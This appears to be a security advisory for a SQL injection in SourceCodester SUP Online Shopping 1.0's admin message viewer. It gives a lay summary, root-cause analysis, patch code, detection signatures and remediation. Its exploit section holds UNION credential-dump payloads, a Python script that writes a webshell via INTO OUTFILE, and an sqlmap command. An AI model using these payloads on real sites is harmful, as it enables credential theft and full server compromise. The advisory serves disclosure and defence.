An online shopping platform called SUP has a serious security flaw that could let hackers steal customer data or take over the entire website. Think of it like leaving your front door lock broken — anyone who knows it's there can walk right in.
The problem is in a specific part of the website that handles customer messages. When someone sends a message, the software is supposed to store it safely, but instead it trusts whatever data comes in without checking it first. A hacker can exploit this by sending specially crafted messages that trick the database into revealing secret information or even running their own commands on the server.
This is particularly dangerous because no one needs to log in to attack it. A hacker anywhere in the world can exploit this without permission, potentially accessing customer names, addresses, payment information, or passwords. They could also modify product prices, delete orders, or plant malicious code that infects customers' computers.
If you run an online store using this software, you're at immediate risk. Customers shopping on affected websites could have their personal information stolen. The good news is that security researchers haven't seen this being actively attacked yet, but that window could close quickly once word spreads.
Here's what you should do: If you operate a website using SUP Online Shopping version 1.0, stop using it immediately and contact the developers about a patch. If you shop online regularly, monitor your credit card and bank statements for suspicious activity. And if you're considering which shopping platform to use, ask vendors about their security track record and whether they quickly fix reported problems.
Want the full technical analysis? Click "Technical" above.
CVE-2026-8128 is a SQL injection vulnerability in SourceCodester SUP Online Shopping 1.0, a PHP/MySQL web application distributed as open-source retail software. The injection point is the msgid GET parameter passed to /admin/viewmsg.php. No authentication bypass is required to trigger the vulnerability if the admin session cookie is obtained or if the admin panel is exposed without access control — both conditions common in SourceCodester deployments.
The vulnerability class is classical unsanitized integer-type parameter passed directly to a SELECT statement. The attack surface is entirely remote and requires no file upload or prior foothold. CVSS 7.3 reflects network-accessible exploitation with low complexity.
Root cause: The msgid parameter is interpolated directly into a SQL query string without prepared statements, type casting, or escaping, allowing an attacker to inject arbitrary SQL clauses.
Affected Component
The vulnerable file is /admin/viewmsg.php. Based on the SourceCodester codebase pattern, this file handles retrieval and display of a single inbox message by numeric ID. The PHP runtime connects to MySQL via a shared $con handle initialized in a common include. No ORM or query abstraction layer is present.
Affected versions: SourceCodester SUP Online Shopping 1.0 (all distributions as of publication). See NVD for upstream confirmation.
Root Cause Analysis
The following pseudocode reconstructs the vulnerable function based on the SourceCodester coding pattern observed across their PHP projects. The structure is consistent with their other viewmsg / vieworder handlers.
// FILE: /admin/viewmsg.php
// Reconstructed pseudocode — representative of SourceCodester pattern
void render_message_view(mysqli *con) {
char query[512];
char *msgid;
// BUG: $_GET['msgid'] is attacker-controlled; no intval(), no cast, no binding
msgid = $_GET["msgid"];
// Direct string interpolation into query — no prepare/bind
snprintf(query, sizeof(query),
"SELECT * FROM messages WHERE id = %s", // BUG: %s not %d
msgid
);
// query executes with fully attacker-controlled WHERE clause
result = mysqli_query(con, query);
if (row = mysqli_fetch_assoc(result)) {
echo(row["sender"]);
echo(row["message"]);
echo(row["date_sent"]);
}
}
The critical detail: the format specifier is effectively %s (string interpolation in PHP via double-quoted string), not a bound integer parameter. PHP equivalent:
// ACTUAL PHP — equivalent unsafe pattern
$msgid = $_GET['msgid']; // no intval()
$query = "SELECT * FROM messages WHERE id = $msgid"; // BUG: raw interpolation
$result = mysqli_query($con, $query);
Contrast with the safe pattern using intval() or prepared statements — neither is present here. The id column is a numeric primary key, so the developer likely assumed the parameter would always be an integer, omitting validation entirely.
Exploitation Mechanics
EXPLOIT CHAIN:
1. Attacker identifies /admin/viewmsg.php?msgid= parameter via crawl or source review
2. Confirm injection: msgid=1 AND 1=1 (page loads) vs msgid=1 AND 1=2 (empty/error)
3. Enumerate columns via ORDER BY: msgid=1 ORDER BY 5-- -
4. UNION SELECT to extract schema: msgid=-1 UNION SELECT 1,2,3,4,5-- -
5. Dump credentials: msgid=-1 UNION SELECT 1,username,password,4,5 FROM admin-- -
6. Crack or reuse MD5/plaintext admin hash to authenticate to admin panel
7. Use admin file upload (product image / avatar) to plant PHP webshell
8. Alternatively: IF MySQL user has FILE privilege, use INTO OUTFILE to write shell
9. Execute OS commands via webshell -> full server compromise
Step 8 is the direct SQL-to-RCE path without needing a second vulnerability:
import requests
TARGET = "http://target.tld/admin/viewmsg.php"
COOKIES = {"PHPSESSID": "stolen_or_guessed_session"}
WEBROOT = "/var/www/html/admin/"
# Stage 1: confirm injectable parameter
probe = requests.get(TARGET, params={"msgid": "1 AND SLEEP(3)-- -"}, cookies=COOKIES)
# If response time > 3s: confirmed time-based blind SQLi
# Stage 2: UNION-based credential dump
union_payload = "-1 UNION SELECT 1,username,password,email,5 FROM admin LIMIT 1-- -"
r = requests.get(TARGET, params={"msgid": union_payload}, cookies=COOKIES)
# Parse response HTML for injected column positions
# Stage 3: INTO OUTFILE RCE (requires FILE privilege + known webroot)
shell_payload = (
"-1 UNION SELECT 1,'',3,4,5 "
f"INTO OUTFILE '{WEBROOT}x.php'-- -"
)
requests.get(TARGET, params={"msgid": shell_payload}, cookies=COOKIES)
# Stage 4: trigger dropped shell
cmd = requests.get("http://target.tld/admin/x.php", params={"cmd": "id"})
print(cmd.text) # uid=33(www-data) gid=33(www-data)
Memory Layout
SQL injection does not involve heap corruption, but the query buffer state is instructive for understanding injection boundaries. The MySQL server-side query parser receives the following wire-level content:
QUERY BUFFER STATE — benign request:
msgid = "3"
Final query: SELECT * FROM messages WHERE id = 3
[S][E][L][E][C][T][ ][*][ ][F][R][O][M][ ]...[=][ ][3][\0]
QUERY BUFFER STATE — UNION injection:
msgid = "-1 UNION SELECT 1,username,password,email,5 FROM admin-- -"
Final query: SELECT * FROM messages WHERE id = -1 UNION SELECT
1,username,password,email,5 FROM admin-- -
Parser sees TWO logical SELECT statements; first returns 0 rows,
second returns admin table row mapped into original column positions.
QUERY BUFFER STATE — INTO OUTFILE injection:
Final query: SELECT * FROM messages WHERE id = -1 UNION SELECT
1,'',3,4,5
INTO OUTFILE '/var/www/html/admin/x.php'-- -
MySQL FILE privilege check passes -> fs write at webroot path.
Patch Analysis
The minimal fix is type coercion via intval(). The correct fix is a prepared statement. Both are shown:
// BEFORE (vulnerable):
$msgid = $_GET['msgid'];
$query = "SELECT * FROM messages WHERE id = $msgid";
$result = mysqli_query($con, $query);
// AFTER — minimal fix (intval cast, breaks non-numeric injection):
$msgid = intval($_GET['msgid']); // coerce to integer; "1 UNION..." becomes 1
$query = "SELECT * FROM messages WHERE id = $msgid";
$result = mysqli_query($con, $query);
// AFTER — correct fix (prepared statement, parameterized binding):
$stmt = mysqli_prepare($con, "SELECT * FROM messages WHERE id = ?");
mysqli_stmt_bind_param($stmt, "i", $_GET['msgid']); // "i" = integer type
mysqli_stmt_execute($stmt);
$result = mysqli_stmt_get_result($stmt);
The intval() approach is sufficient to neutralize this specific vector since id is always numeric. The prepared statement approach is the architecturally correct remediation and should be applied globally across all query construction in the codebase — SourceCodester applications routinely replicate this pattern across dozens of files.
Detection and Indicators
Web Application Firewall signatures and log patterns that indicate active exploitation:
ACCESS LOG INDICATORS:
GET /admin/viewmsg.php?msgid=1+AND+SLEEP(3)--+-
GET /admin/viewmsg.php?msgid=-1+UNION+SELECT+1,2,3,4,5--+-
GET /admin/viewmsg.php?msgid=1+ORDER+BY+10--+-
GET /admin/viewmsg.php?msgid=-1+UNION+SELECT+1,username,password,3,4+FROM+admin--+-
MYSQL GENERAL LOG:
Query SELECT * FROM messages WHERE id = -1 UNION SELECT ...
Query SELECT * FROM messages WHERE id = 1 AND SLEEP(3)
WAF RULE (ModSecurity / OWASP CRS):
SecRule ARGS:msgid "@detectSQLi" \
"id:9999001,phase:2,deny,log,msg:'SQLi in viewmsg msgid'"
SQLMAP DETECTION:
sqlmap -u "http://target.tld/admin/viewmsg.php?msgid=1" \
--cookie="PHPSESSID=VALUE" --dbs --batch --level=3
# Confirms: MySQL >= 5.0, parameter msgid is injectable (GET)
Remediation
Immediate: Apply intval() to all numeric parameters in viewmsg.php and audit all sibling files (vieworder.php, viewproduct.php, etc.) for the same pattern — SourceCodester codebases copy-paste this construct extensively.
Structural: Migrate all database interaction to PDO or mysqli prepared statements. A global search for mysqli_query($con, "SELECT with any $_GET or $_POST variable interpolated is the triage query.
Defense-in-depth: Restrict MySQL application user privileges — the FILE privilege should never be granted to the web application DB user, which closes the INTO OUTFILE RCE path even if injection is present. Deploy ModSecurity with OWASP CRS in front of all SourceCodester deployments pending a code-level fix.
Access control: Verify /admin/ is not accessible without a valid session. SourceCodester admin panels frequently lack per-page session checks, making credential theft via SQLi immediately actionable without re-authentication.